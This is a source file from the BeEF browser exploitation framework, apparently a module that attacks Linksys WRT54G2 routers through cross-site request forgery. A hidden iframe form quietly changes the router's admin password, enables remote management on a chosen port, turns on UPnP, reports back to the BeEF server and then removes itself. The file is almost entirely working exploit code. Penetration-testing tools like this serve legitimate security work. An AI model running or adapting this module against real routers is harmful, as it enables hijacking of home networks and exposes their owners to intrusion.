Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/linksys_wrt54g2_csrf/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var port = '<%= @port %>';
9
var gateway = '<%= @base %>';
10
var passwd = '<%= @password %>';
11
var timeout = 15;
12
13
var wrt54g2_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "Manage.tri", "POST", "application/x-www-form-urlencoded",
14
[{'type':'hidden', 'name':'MANAGE_USE_HTTP', 'value':'0'} ,
15
{'type':'hidden', 'name':'MANAGE_HTTP', 'value':'1'},
16
{'type':'hidden', 'name':'MANAGE_HTTP_S', 'value':'0'},
17
{'type':'hidden', 'name':'MANAGE_PASSWORDMOD', 'value':'1'},
18
{'type':'hidden', 'name':'MANAGE_PASSWORD', 'value':passwd},
19
{'type':'hidden', 'name':'MANAGE_PASSWORD_CONFIRM', 'value':passwd},
20
{'type':'hidden', 'name':'_http_enable', 'value':'1'},
21
{'type':'hidden', 'name':'MANAGE_WLFILTER', 'value':'1'},
22
{'type':'hidden', 'name':'MANAGE_REMOTE', 'value':'1'},
23
{'type':'hidden', 'name':'MANAGE_PORT', 'value':port},
24
{'type':'hidden', 'name':'MANAGE_UPNP', 'value':'1'},
25
{'type':'hidden', 'name':'layout', 'value':'en'}
26
]);
27
28
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
29
30
cleanup = function() {
31
document.body.removeChild(wrt54g2_iframe_<%= @command_id %>);
32
}
33
setTimeout("cleanup()", timeout*1000);
34
35
});
36
37
38